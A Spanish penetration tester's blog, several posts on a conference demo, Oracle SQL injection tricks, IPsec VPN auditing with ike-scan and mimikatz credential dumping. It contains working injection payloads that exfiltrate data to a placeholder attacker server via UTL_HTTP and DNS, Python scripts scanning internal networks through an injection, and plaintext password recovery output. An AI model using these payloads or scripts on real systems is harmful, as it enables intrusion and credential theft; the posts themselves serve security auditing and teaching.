La X marca el lugar

Demo Shellshock en el ISMS Forum

2014-10-21T08:45:00.000+02:00

La semana pasada participé como ponente en el tercer Foro de Ciberseguridad del Spanish Cyber Security Institute, más conocido como ISMS Forum.

En la charla que di presenté un incidente de seguridad en el que estuve trabajando hace un mes para una empresa española que nos pidió colaboración para identificar el problema que habían tenido y recomendaciones a la hora de solucionarlo.

Como me habían pedido que hiciera alguna demostración, pero obviamente no podía dar datos reales, monté un par de entornos vulnerables sobre los que hacer las pruebas.

La primera de las demostraciones que hice fue para mostrar un par de las vulnerabilidad que tenían en la aplicación web que se comprometió. La primera de las vulnerabilidades consistía en la posibilidad de acceder a los datos personales de otros usuarios.

Esta vulnerabilidad es relativamente frecuente en muchas aplicaciones web y web services. Normalmente se debe a que se utiliza un identificador fácilmente predecible para determinar el registro, fichero o recurso en general que se tiene que mostrar. Hay un segundo aspecto que hace que se provoque la vulnerabilidad (además del identificador predecible) y es que no se gestionen correctamente los permisos de cada usuario, ya que la aplicación debería identificar y evitar que un usuario pudiera acceder a recursos que pertenecen a otro usuario.

La segunda vulnerabilidad que se muestra en el primero de los vídeos es una inyección de código SQL muy sencillita de explotar. Lo que iba buscando con esta demostración es demostrar lo fácil que puede llegar a ser explotar este tipo de vulnerabilidades y lo peligroso que resulta en caso de que se esté almacenando información de carácter confidencial en la base de datos (en la demo, se llegaban a mostrar números de tarjetas de crédito, con su CVV y su fecha de caducidad).

La primera demo se puede ver en el siguiente vídeo:

La segunda de las demos que hice fue para mostrar la vulnerabilidad de Shellshock explotada a través de un CGI hospedado en un servidor web.

Aunque esta vulnerabilidad no estaba del todo relacionado con el resto del contenido de mi charla, aproveché que uno de los ponentes anteriores había hablado de la vulnerabilidad largo y tendido pero no había llegado a realizar ninguna demo. Mi intención, por tanto, era hacer ver que algunas de las vulnerabilidades que se leen en Internet sí que son realmente fáciles de explotar sin ningún tipo de recursos especiales.

Ésta es la segunda demo:

Espero que las disfrutéis y podáis utilizarlas si tenéis que presentar este tipo de vulnerabilidades en algún tipo de ambiente.

De una inyección SQL a un escáner de red

2014-03-10T08:45:00.000+01:00

Hace poco, haciendo una auditoría web, encontré un parámetro que era vulnerable a SQL injection.

Tras un pequeño análisis, identifiqué que se trataba de un servidor Oracle y que no iba a ser fácil extraer información de la base de datos porque se ve que la inyección debía de estar en la llamada a un procedimiento almacenado.

Algo así como:

procedimiento_almacenado (parámetro_vulnerable);

Oracle, en esta sintaxis, no permite añadir consultas del tipo SELECT, así que realizar las típicas inyecciones para determinar el usuario de la base de datos, el nombre de ésta, qué tablas las forman... no iba a funcionar.

Tras probar muchas cosas, vi que sí que podía utilizar variables SYS_CONTEXT para recuperar variables del sistema relativas a la configuración ya que, aunque no podía hacer un:

SELECT user from DUAL;

Sí que podía (ojo, era una inyección de tipo numérico):

55 - (ASCII (SUBSTR (user,1,1)) - ASCII('U') )

O, del mismo modo:

55 - (ASCII (SUBSTR (SYS_CONTEXT('USERENV', 'CURRENT_USER'), 1, 1)) - ASCII('U') )

Con esto, no tenía acceso a los datos de la base de datos en sí, pero obtuve información principalmente relacionada con el entorno Oracle como usuarios, dirección IP del servidor, tipo de autenticación utilizada...

Ya estaba a punto de desesperarme y decidir que no podía llegar mucho más allá cuando me acordé de los procedimientos almacenados de los que os hablé en la entrada anterior: UTL_HTTP y UTL_INADDR.

Así que pensé: ¿qué pasará si digo de utilizar UTL_HTTP para acceder a otros puertos del servidor para intentar determinar si están o no abiertos? Algo en plan:

http://10.0.2.51:22
http://10.0.2.51:80
http://10.0.2.51:443
http://10.0.2.51:8080
http://10.0.2.51:1521
...

Imaginad mi sorpresa cuando veo que efectivamente funcionaba. Es más, Oracle era tan bondadoso que me decía claramente si el puerto estaba o no abierto:

Error cuando el puerto estaba abierto:

java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-29263: HTTP protocol error ORA-06512: at line 1 at [...]

Error cuando el puerto estaba cerrado:

java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-12541: TNS:no listener ORA-06512: at line 1 at [...]

Creo que la siguiente pregunta que me hice es evidente... ¿Y si escaneo otros hosts de la red? Pues exactamente igual. En este caso, lo que hice fue siempre preguntar por el puerto 22 y observé las respuestas:

Cuando no existía el host:

java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-12543: TNS:destination host unreachable ORA-06512: at line 1 at [...]

Cuando existía el host en la red, el error que devolvía era alguno de los dos errores asociados a si el puerto estaba o no abierto.

Así que cogí y en un rato me hice mi propio escáner de puertos a través del SQLi que había encontrado. Éste es el resultado que puede servir como prueba de concepto:

Escaneo de red:

import requests

cookies = { "JSESSIONID" : "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }
headers = { "Content-Type" : "application/x-www-form-urlencoded"}

i = 0

for i in range(254):
 r = requests.post ("http://www.example.com/vulnerable_page", "parametro_vulnerable=55 - (length (utl_http.request('http://10.0.2.%s:22/')) )" % str(i+1), cookies=cookies, headers=headers )

 if not "destination host unreachable" in r.text:
  print "Alive: 10.0.2.%s" % str(i+1)

Este script se ejecutará directamente:

$ python network_scan.py

Escaneo de puertos:

import requests
import sys

cookies = { "JSESSIONID" : "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }
headers = { "Content-Type" : "application/x-www-form-urlencoded"}

topports = (26, 554, 32768, 8000, 8443, 2000, 1026, 179, 5060, 514, 10000, 6001, 81, 113, 548, 465, 1720, 199, 8888, 587, 1025, 5900, 993, 995, 111, 1723, 8080, 3306, 135, 53, 143, 139, 445, 110, 3389, 25, 22, 21, 443, 23, 80, 37, 119, 9100, 4899, 2717, 1755, 873, 1028, 49157, 5051, 6646, 9, 1029, 13, 1900, 3986, 5432, 3000, 5190, 7070, 5009, 9999, 444, 3128, 8009, 389, 7, 144, 5101, 544, 543, 49156, 427, 5357, 990, 513, 6000, 49155, 1110, 2121, 106, 5800, 79, 88, 2049, 8081, 49153, 631, 5631, 5000, 646, 5666, 1027, 49154, 8008, 515, 2001, 49152, 1433)

i = 0

for i in topports:
 r = requests.post ("http://www.example.com/vulnerable_page", "parametro_vulnerable=55 - (length (utl_http.request('http://%s:%s/')) )" % ( sys.argv[1], str(i)), cookies=cookies, headers=headers )

 if not "no listener" in r.text:
  print "Open port: %s" % str(i)

Este script, recibe la dirección IP a escanear como entrada. Por ejemplo:

$ python port_scan.py 10.0.2.51

Y de este modo conseguí que una vulnerabilidad que no hubiera pasado ni pena ni gloria, se convirtiera en algo interesante. Es más, con más tiempo podría haber intentado acceder a otros de los servicios que encontré abiertos (entre ellos un JBoss en un puerto 8080).

¡Pero señor! ¡Este oráculo no está ciego!

2014-02-18T08:45:00.000+01:00

De lo que quiero hablar en esta entrada es algo que puede que sea más que conocido por muchos de vosotros pero que es la base de lo que os quiero contar en otra entrada y que prometo será más interesante. ¡Ojo! Que esto lo es.

Todos sabemos que explotar una inyección de código SQL ciega (blind SQL injection) puede llegar a ser un coñazo. De primeras nos conviene utilizar alguna herramienta para automatizar la explotación, porque a mano puedes sacar un par de valores como el usuario o la base de datos... ¿pero habéis probado alguna vez a sacar registros de una tabla a mano? Obviamente es inviable. Al menos si tienes unos tiempos que cumplir. Es aquí cuando herramientas como sqlmap, sqlibf o tantas otras nos hacen la vida mucho más fácil.

Pero ok. Te paras. Consigues configurar la herramienta para que te pille la inyección que, a menos que te la haya sacado un escáner automático no va a ser trivial. La lanzas. ¿Y ahora qué? Esperar. Y esperar a que haga una media de 7-8 peticiones por carácter de la cadena que estés intentando sacar y eso en el mejor de los casos y que la herramienta esté utilizando una búsqueda dicotómica. Lo que se traduce en unas 100 peticiones de media por cadena básicas como nombre de usuario o base de datos. Ahora, como quieras sacar el banner completo... van a ser en torno a unas 300.

Puestos ya en escena, os quiero contar una técnica para hacer que una inyección "ciega" no sea tan ciega en Oracle. ¿Entiendes ahora el título del post?

UTL_HTTP

UTL_HTTP es un procedimiento almacenado de Oracle que permite realizar conexiones HTTP desde la propia base de datos. Y que, por suerte para nosotros, viene por defecto habilitado en la mayoría de versiones de la base de datos.

Lo único que tenemos que hacer es utilizarlo para que nos mande la información que le pedimos a un servidor web controlado por nosotros.

Os pongo un ejemplo de cómo nos podría mandar el nombre de usuario de la base de datos a nuestro servidor web utilizando tan sólo una petición (frente a las 100 de las que hablaba antes).

Supongamos que el parámetro inyectable es "id", con una inyección de tipo numérico, en la siguiente URL:

http://www.myfakedomain.com/vulnerablepage?id=500

En un caso normal, utilizaríamos payloads como:

id=500 and substr(USER,1,1) = 'a'
id=500 and substr(USER,1,1) = 'b'
id=500 and substr(USER,1,1) = 'c'
...
id=500 and substr(USER,2,1) = 'a'
id=500 and substr(USER,2,1) = 'b'
...

Sin embargo, si usamos el siguiente payload, nos mandará el nombre del usuario al completo a nuestro servidor web:

id=500 and UTP_HTTP.request('http://www.myserver.com/' || USER) is not NULL

Y, consultando los logs del servidor podremos ver una petición de la siguiente forma:

10.0.2.2 - - [16/Feb/2014:20:09:48 +0100] "GET /PROD_USER HTTP/1.1" 404 484 "-" "Mozilla/5.0 ..."

De donde sacamos que el nombre de usuario es "PROD_USER".

Como veis, con una simple petición, es suficiente para que obtengamos la información que necesitamos. Incluso se pueden concatenar varias consultas en la misma petición, ahorrando más tiempo y esfuerzo.

UTL_INADDR

Si el procedimiento UTL_HTTP estuviera deshabilitado o directamente no funcionara por cualquier motivo (como que el servidor de base de datos tenga el acceso web filtrado), existe un segundo procedimiento almacenado que nos puede ser igualmente útil: UTL_INADDR. Este otro procedimiento es equivalente al anterior pero para realizar consultas DNS.

En esta ocasión, por tanto, si controlamos algún dominio, podemos hacer que el servidor Oracle nos haga una petición DNS como la siguiente:

PROD_USER.myserver.com

Para ello, tendremos que utilizar un payload como el siguiente:

id=500 and UTL_INADDR.GET_HOST_ADDRESS(USER || '.myserver.com') is not NULL

Como veis, es igual de útil. Aunque tened en cuenta que el protocolo DNS tiene ciertas restricciones como que los nombres de dominio no pueden contener espacios. Así que si intentamos sacar el banner de la base de datos, es más que posible que no nos llegue completo o directamente no se realice ninguna consulta DNS.

Para ello, siempre se pueden utilizar funciones como "replace":

id=500 and UTP_INADDR.GET_HOST_ADDRESS( (SELECT REPLACE(banner, ' ') FROM v$version WHERE banner LIKE 'Oracle%') ||'.myserver.com') is not NULL

Útil, ¿no? Espero que la próxima vez que tengáis una inyección SQL ciega en un Oracle os acordéis de estas técnicas para ahorraros tiempo y recursos.

Auditando VPNs (V): Modo Agresivo

2014-02-10T08:45:00.000+01:00

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Como ya comenté en la primera entrada de esta serie, el modo agresivo (Aggressive Mode) se suele utilizar en combinación con el mecanismo de autenticación PSK (Pre-Shared Key) y es la alternativa al Main Mode. Según el estándar, el main mode debería estar implementado en todos los concentradores de VPN, mientras que el aggressive mode es opcional.

La principal diferencia entre ambos modos es que el modo agresivo es más simple y requiere menos intercambios de mensajes entre el cliente y el servidor para establecer la conexión. Esta ventaja se traduce en un descenso de la seguridad ofrecida por el modo principal. Veamos por qué:

La siguiente secuencia muestra el intercambio de claves en modo principal (main mode) con PSK:

      Initiator                     Responder
     -----------                   -----------
      HDR, SA             -->
                          <--      HDR, SA
      HDR, KE, Ni         -->
                          <--      HDR, KE, Nr
      HDR*, IDii, HASH_I  -->
                          <--      HDR*, IDir, HASH_R

Los primeros dos mensajes negocian la política (el conjunto de atributos que se van a utilizar, la transformada). Los siguientes dos mensajes se usan para intercambiar los valores públicos para la negociación Diffie-Hellman y otra información secundaria. Los últimos dos valores, que ya van cifrados (los denota el *), autentican el intercambio DH.

La secuencia siguiente muestra la misma negociación pero en modo agresivo (aggressive mode):

      Initiator                     Responder
     -----------                   -----------
    HDR, SA, KE, Ni, IDii -->
                          <-- HDR, SA, KE, Nr, IDir, HASH_R
    HDR, HASH_I           -->

En este caso, los primeros dos mensajes hacen la función de los cuatro primeros mensajes del intercambio en el modo principal, así que sirven para negociar la política, intercambiar los valores públicos DH, la información secundaria y los identificadores mutuos. Además, el segundo mensaje ya autentica al "Responder" (el servidor de VPN). El tercer y último mensaje autentica al "Initiator" y proporciona la "prueba de participación" en el intercambio.

Como se puede observar, en la primera secuencia, los hashes se envían cifrados (recuerda el *), mientras que en la segunda secuencia todo se envía en texto claro. Estos hashes son los que se utilizan para la autenticación ya que consisten (a grandes rasgos) en una función HMAC usando como clave la clave compartida (PSK) y cifrando, entre otras cosas, el token nonce (Ni/Nr).

Por tanto, si se utiliza el modo agresivo, el hash del servidor se puede capturar fácilmente de la red y se puede intentar romper. De conseguirlo, habríamos recuperado la clave compartida (PSK). Después de eso, utilizando algún cliente de VPN como PGPNet podríamos conectarnos sin ningún problema a la red a la que se accede por la VPN.

Como podrás imaginar, el modo agresivo es uno de los aspectos más críticos a la hora de analizar la seguridad de un concentrador de VPN basado en IPsec.

Otra de las diferencias entre ambos modos es que, a diferencia de cómo funciona el modo principal, muchos concentradores de VPN tan sólo responden a una petición de entablar conexión utilizando el modo agresivo si se ha especificado un identificador de grupo válido (el IDii de las peticiones de arriba). Este identificador suele ser un nombre de usuario, un email, una dirección IP...

¿En qué se traduce esto en la práctica para nosotros como auditores? Pues que si no enviamos un ID válido, podríamos no estar detectando que el modo agresivo está activo en un concentrador de VPNs y esto podría complicar la enumeración de dispositivos que soporten dicho modo.

Para especificar que debemos utilizar el modo agresivo cuando tratamos de conectarnos con el ike-scan, se utiliza la opción: --aggressive. Para indicar un ID, se usa la opción --id, aunque si no se especifica nada, ike-scan usa él solito el nombre o la dirección IP del servidor como ID.

Veamos el siguiente ejemplo:

$ sudo ike-scan -M --aggressive 10.48.226.227
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.48.226.227   Aggressive Mode Handshake returned
        HDR=(CKY-R=aa780a03dd39566b)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        VID=5fbfad1edd38566bbd15132b1455935a
        VID=09002689dfd6b712 (XAUTH)
        KeyExchange(128 bytes)
        ID(Type=ID_IPV4_ADDR, Value=10.48.226.227)
        Nonce(20 bytes)
        Hash(20 bytes)

Ending ike-scan 1.9: 1 hosts scanned in 0.235 seconds (4.26 hosts/sec).  1 returned handshake; 0 returned notify

Si te fijas bien en la captura anterior, verás varios campos que no habían salido en las capturas que llevo puestas hasta la fecha:

ID: como no se especificó nada, ike-scan ha utilizado la dirección IP del servidor (10.48.226.227).
Nonce: es el desafío que se utiliza para autenticar a ambos extremos (lo que va firmado con el hash).
Hash: es el valor que autentica al servidor.

Como ya se me ha quedado un poco larga esta entrada explicando por qué el modo agresivo es más inseguro que el modo principal, dejaré el cómo romper (o tratar de hacerlo) el hash para la próxima entrada ;)

Auditando VPNs (IV): Cifrado

2014-01-27T08:45:00.000+01:00

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Después del gran parón que he sufrido durante un año, continúo con la auditoría de VPN basadas en IPsec por donde lo dejé. En esta entrega toca hablar de los cifrados soportados por el servidor/concentrador de VPNs.

Cuando un cliente trata de conectarse a un servidor, lo hace utilizando una determinada combinación de parámetros, que se conoce como transformada (transform). Existen un total de 16 atributos que se pueden configurar, aunque los más frecuentes son:

Algoritmo de Cifrado (1)
Algoritmo de Hash (2)
Método de Autenticación (3)
Grupo Diffie-Hellman (4)

Nota: Observa el número que he puesto entre paréntesis, porque lo vamos a utilizar luego, ya que las transformadas se definen asignando un valor a cada variable que se representa por dicho número.

Otros posibles atributos son: Group Prime/Irreducible Polynomial, Group Generator One and Two, Group Curve A and B, Life Type, Life Duration...

Cada parámetro se puede configurar con una serie de valores predefinidos que depende de la versión del protocolo que se esté utilizando. La versión 2 de IKE, por ejemplo, soporta más algoritmo de cifrado que la versión 1. Por otro lado, no todos los algoritmos tienen por qué estar soportados en el servidor de VPNs.

Las siguientes tablas muestran los valores más frecuentes de los cuatro parámetros principales (consulta la especificación para las tablas completas):

Valor	Algoritmo	Comentario
1	DES	Común
2	IDEA	Muy raro
3	Blowfish	Raro
4	RC5	Muy raro
5	Triple DES	Común
6	CAST	Raro
7	AES	Común
8	Camellia	Muy raro

Algoritmos de cifrado

Valor	Algoritmo	Comentario
1	MD5	Común
2	SHA1	Común
3	Tiger	Raro
4	SHA2-256	Raro
5	SHA2-384	Raro
6	SHA2-512	Raro

Algoritmos de hash

Valor	Algoritmo	Comentario
1	Pre-Shared Key (PSK)	Común
2	DSS Signature	Muy raro
3	RSA Signature	Común
4	RSA Encryption	Muy raro
5	Revised RSA Encryption	Muy raro
64221	Hybrid Mode	Común
65001	XAUTH	Común

Métodos de Autenticación

Valor	Algoritmo	Comentario
1	MODP 768	Común
2	MODP 1024	Común
3	EC2N 155	Muy raro
4	EC2N 185	Muy raro
5	MODP 1536	Raro

Grupos Diffie-Hellman

Una vez visto los valores más comunes, vamos a ver cómo especificar una determinada transformada con ike-scan. Para ello usaremos el parámetro "--trans". Fíjate en los siguientes ejemplos:

--trans=7/256,2,1,2 -> SA=(Enc=AES KeyLength=256 Hash=SHA1 Auth=PSK Group=2:modp1024)

Si no se especifica directamente, el primer atributo será el algoritmo de cifrado, el segundo el de hash y así... En el orden de los números de los que hablaba al principio del post.

--trans="(1=5,2=2,3=3,4=2)" -> SA=(Enc=3DES Hash=SHA1 Auth=RSA_Sig Group=2:modp1024)

--trans="(4=2,3=3,2=2,1=5)" -> SA=(Group=2:modp1024 Auth=RSA_Sig Hash=SHA1 Enc=3DES)

Si queremos tan sólo definir algún parámetro o queremos definir la transformada en el orden que nos parezca bien, entonces asignamos directamente el valor que nos interese a la variable en cuestión indicando su número (1=5 significa que como algoritmo de cifrado (1), elegimos 3DES (valor 5 en la tabla)).

Ahora os estaréis preguntando: ¿y todo esto para qué? Pues la respuesta es sencilla. Del mismo modo que en SSL se suele recomendar no utilizar cifrados que se consideran débiles, en IPsec tampoco es recomendable utilizar ciertos algoritmos. En concreto se desaconsejan los siguientes algoritmos:

DES como algoritmo de cifrado.
MD5 como algoritmo de hash.
MOD768 como grupo Diffie-Hellman.

Y para comprobarlo, me temo que no queda otra que crear muuuuuchas combinaciones para ver si alguna acepta alguno de estos algoritmos. Es decir, DES puede estar siendo aceptado con SHA1 y MOD1024, por ejemplo, pero no con MD5 y MOD768 directamente.

Por otro lado, si recuerdas lo que comentaba en la entrada sobre enumeración, muchas veces somos capaces de identificar el servicio pero no encontramos una transformada que la acepte el servidor.

Así que para realizar varias transformadas de manera cómoda, yo suelo utilizar un script similar al siguiente:

#!/bin/sh
#
# Encryption algorithms: DES, Triple-DES, AES/128, AES/192 and AES/256
ENCLIST="1 5 7/128 7/192 7/256"
# Hash algorithms: MD5 and SHA1
HASHLIST="1 2"
# Authentication methods: Pre-Shared Key, RSA Signatures, Hybrid Mode and XAUTH
AUTHLIST="1 3 64221 65001"
# Diffie-Hellman groups: 1, 2 and 5
GROUPLIST="1 2 5"
#
for ENC in $ENCLIST; do
   for HASH in $HASHLIST; do
      for AUTH in $AUTHLIST; do
         for GROUP in $GROUPLIST; do
            echo >> $2
            echo "Transform: $ENC,$HASH,$AUTH,$GROUP" >> $2
            ike-scan --trans=$ENC,$HASH,$AUTH,$GROUP -M $1 >> $2
         done
      done
   done
done

Lo único que hace este script es probar varias transformadas e ir almacenando todos los resultados en un fichero. Se ejecutaría de la siguiente manera:

# script.sh 10.0.0.2 fichero_resultados.txt

Luego, mirar el fichero a mano puede ser un poco lata, así que basta tirar de grep para sacar los resultados que realmente nos interesan:

$ cat fichero_resultados.txt | grep -B 4 "SA="

Y así tendremos el listado de todas las transformadas aceptadas por el concentrador de VPNs.

¡Ojo! El script está hecho para probar los algoritmos más comunes. Si quisieras probar más o menos basta con que modifiques el valor de las variables ENCLIST, HASHLIST, AUTHLIST y GROUPLIST.

Recuperando contraseñas de red Windows con mimikatz

2013-01-16T08:45:00.000+01:00

Los que me conocen, saben que mimikatz es una de mis herramientas favoritas a la hora de sacar contraseñas y otra información útil de un sistema Windows. Y esto es debido a que Gentil Kiwi (el autor) no para de mejorarla, investigando nuevas "funcionalidades" que Microsoft no reconoce como vulnerabilidades pero que son un riesgo para la seguridad de los usuarios.

Hasta hace poco, mimikatz tan sólo mostraba en texto claro las contraseñas de los usuarios que hubieran iniciado una sesión interactiva en el equipo (iniciando sesión localmente, a través de escritorio remoto...). Hace una semana, se publicó una nueva versión que permitía recuperar ~~las contraseñas que se han utilizado para crear alguna tarea programada y~~ cualquier contraseña de tipo CRED_TYPE_DOMAIN_PASSWORD, esto incluye contraseñas que se hayan utilizado para crear tareas programadas, sesiones guardadas de RDP..., y hoy he podido probar una última versión, que permite obtener las contraseñas que se utilizan al conectarse a un sistema remoto sin llegar a iniciar sesión, por ejemplo, si nos conectamos a una unidad de red remota.

Ésta es una funcionalidad muy esperada porque puede servir para recuperar más credenciales de un sistema una vez comprometido. El problema que le he visto, es que se recuperan las credenciales de los sistemas a los que nos conectamos desde el equipo comprometido, pero no la de las cuentas que se conectan a dicho equipo. Es decir, que si se comprometiera un servidor de ficheros, no podríamos recuperar las contraseñas de todos los usuarios conectados al mismo. Pero por el contrario, si se compromete una estación de trabajo de un administrador que tiene diferentes contraseñas con las que conectarse a diferentes recursos de red, podremos recuperar todas esas contraseñas.

De momento habrá que aprovechar la nueva funcionalidad mientras esperamos algo que nos permita recuperar las credenciales de las cuentas conectadas a un equipo.

La prueba que he hecho ha sido conectarme desde un sistema Windows (TEST) a un segundo (PRUEBAS01) y ejecutar después mimikatz en TEST. Éste ha sido el resultado:

C:\>mimikatz.exe
mimikatz 1.0 x86 (RC)   /* Traitement du Kiwi (Jan 15 2013 06:20:17) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::ssp

Authentification Id         : 0;997
Package d'authentification  : Negotiate
Utilisateur principal       : SERVICIO LOCAL
Domaine d'authentification  : NT AUTHORITY
        ssp :

Authentification Id         : 0;38685
Package d'authentification  : NTLM
Utilisateur principal       : TEST
Domaine d'authentification  : TEST-863C3D4E8A
        ssp :
         [0] { admin ; PRUEBAS01 ; EstaEsMiPassword123 }

Authentification Id         : 0;996
Package d'authentification  : Negotiate
Utilisateur principal       : Servicio de red
Domaine d'authentification  : NT AUTHORITY
        ssp :

Authentification Id         : 0;31314
Package d'authentification  : NTLM
Utilisateur principal       :
Domaine d'authentification  :
        ssp :

Authentification Id         : 0;999
Package d'authentification  : NTLM
Utilisateur principal       : TEST-863C3D4E8A$
Domaine d'authentification  : GRUPO_TRABAJO
        ssp :

mimikatz #

Como se puede ver, mimikatz lista los recursos externos en los que hay una sesión iniciada y las credenciales que se han utilizado para conectarse.

¡Ojo! Ahora mismo, esta nueva funcionalidad tan sólo obtiene las credenciales utilizadas para conectarse a otros sistemas en los procesos de autenticación que se haya utilizado NTLM como protocolo. Es decir, que si en una red local, las conexiones remotas se negocian a través de Kerberos, mimikatz no podrá sacar las credenciales en claro.

Interesante, ¿no?

Auditando VPNs (III): Fingerprinting

2012-11-26T08:45:00.000+01:00

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Una vez que hemos detectado que la VPN se está ejecutando, conviene saber el tipo de dispositivo con el que estamos trabajando.

Existen dos mecanismos principales para identificar el tipo de servidor que está ejecutando el servicio de VPN. El primero de ellos consiste en la manera que tiene el servidor de responder a las peticiones de un cliente de establecer una conexión con él. Me explico...

IKE funciona bajo UDP, que es un protocolo no orientado a conexión. Por este motivo, no hay ninguna manera de saber si un paquete ha llegado a su destinatario más allá que esperar a recibir la respuesta a dicho paquete. Si la respuesta no se recibe, se puede entender que el paquete se perdió, en cuyo caso podría ser necesario reenviarlo.

El primer método de fingerprinting, por tanto, consiste en enviar un paquete al servidor y esperar su respuesta. En una conexión normal, el cliente debería continuar la comunicación con el servidor pero, ¿qué pasa si no se continúa? El servidor esperará un tiempo determinado y reenviará el paquete. Así un número determinado de veces hasta que deje de intentarlo.

La RFC de IKE no establece cómo se debe llevar a cabo el reenvío de paquetes (backoff en inglés), por lo que cada fabricante implementa su propio algoritmo, cambiando los tiempos entre un reenvío y el siguiente y el número de reenvíos total. Esto permite identificar el tipo de servidor que está ofreciendo el servicio de VPN.

A este mecanismo se le conoce como UDP Backoff Fingerprinting.

Ike-scan tiene una base de datos con los diferentes tiempos de respuesta de diferentes fabricantes, por lo identificar el fabricante puede resultar bastante sencillo con la opción --showbackoff:

$ sudo ike-scan --showbackoff  --multiline 10.48.226.227
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.48.226.227   Main Mode Handshake returned
        HDR=(CKY-R=a7a845233446a9e5)
        SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
        VID=4f45755c645c6a795c5c6170
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

IKE Backoff Patterns:

IP Address      No.     Recv time               Delta Time
10.48.226.227   1       1351694781.627450       0.000000
10.48.226.227   2       1351694791.638280       10.010830
10.48.226.227   3       1351694811.659880       20.021600
10.48.226.227   Implementation guess: Linux FreeS/WAN, OpenSwan, strongSwan

Ending ike-scan 1.9: 1 hosts scanned in 90.134 seconds (0.01 hosts/sec).  1 returned handshake; 0 returned notify

Hay que tener paciencia con este comando, ya que el reenvío entre paquetes puede tardar bastante. Si te fijas en la columna "Delta Time", el primer reenvío se hace tras esperar 10 segundos, pero entre el segundo y el tercero, el servidor se espera 20 segundos.

Finalmente, ike-scan determina que el servicio VPN lo está ofreciendo Linux FreeS/WAN, OpenSwan ó strongSwan. Como aporte decir que, al menos en este caso, no se equivoca ya que el servidor con el que realicé las pruebas es un OpenSwan.

El segundo mecanismo para identificar el tipo de servidor que está ejecutando el servicio VPN está ligado al Vendor ID o VID.

El VID es un identificador único que determina la implementación de IKE que está siendo usada. Cada fabricante (vendor) utiliza un VID único, por lo que conociéndolo debería ser suficiente para identificarlo.

En el ejemplo anterior, el VID es "4f45755c645c6a795c5c6170" que, si buscamos en Internet podemos comprobar que está asociado a OpenSwan.

Así parece sencillo identificar el fabricante. El problema es que lo habitual es que el servidor no indique el VID a menos que el cliente lo envíe previamente y, para ello, hay que conocer el fabricante. En la documentación oficial de ike-scan se puede obtener un listado de VIDs con los que probar:

http://www.nta-monitor.com/wiki/index.php/IKE_Implementation_Analysis

La opción "--vendor" de ike-scan permite indicar el fabricante con el que queremos probar a la espera de que sea el usado por el servidor y éste nos lo confirme devolviéndolo de nuevo en su respuesta.

Auditando VPNs (II): Enumeración

2012-11-04T08:30:00.000+01:00

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Tras el rápido repaso que hice sobre IPsec en la entrada anterior, vamos a ver cómo identificar un concentrador/servidor de VPNs basado en IPsec.

Por defecto, el protocolo IKE se ejecuta en el puerto 500 UDP, por lo que en principio un simple escáner de puertos debería bastar para identificarlo:

$ sudo nmap -sU -p 500 -P0 -n -sV 10.48.226.227

Starting Nmap 6.02 ( http://nmap.org ) at 2012-10-31 16:25 CET
Nmap scan report for 10.48.226.227
Host is up (0.00088s latency).
PORT    STATE SERVICE VERSION
500/udp open  isakmp
MAC Address: 08:00:27:12:F5:94 (Cadmus Computer Systems)

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds

Nmap nos dice que el servicio está ahí, pero no nos aporta mucha más información. Herramientas más específicas como ike-scan o IKEProbe nos pueden aportar más información de una sola pasada:

$ sudo ike-scan  --multiline 10.48.226.227
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.48.226.227   Main Mode Handshake returned
        HDR=(CKY-R=8d0a997d0846794f)
        SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
        VID=4f45755c645c6a795c5c6170
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (66.44 hosts/sec).  1 returned handshake; 0 returned notify

Nota: La opción --multiline (-M) de ike-scan tan sólo sirve para que la información la presente en varias líneas y seas más legible.

En el ejemplo anterior, vamos que se ha podido establecer una conexión utilizando el Main Mode. Además, se han negociado los atributos que se utilizarían para definir el túnel (Security Association ó SA) que se utilizará en la segunda fase del protocolo IKE.

Los atributos seleccionados son 3DES como algoritmo de cifrado, SHA1 como algoritmo de hash, PSK como método de autenticación y el grupo 2 (modp1024) para el algoritmo Diffie-Hellman. Al conjunto de todos los atributos se le denomina transform.

Sin embargo, no siempre obtenemos una respuesta parecida a la anterior cuando lanzamos ike-scan. Veamos un ejemplo:

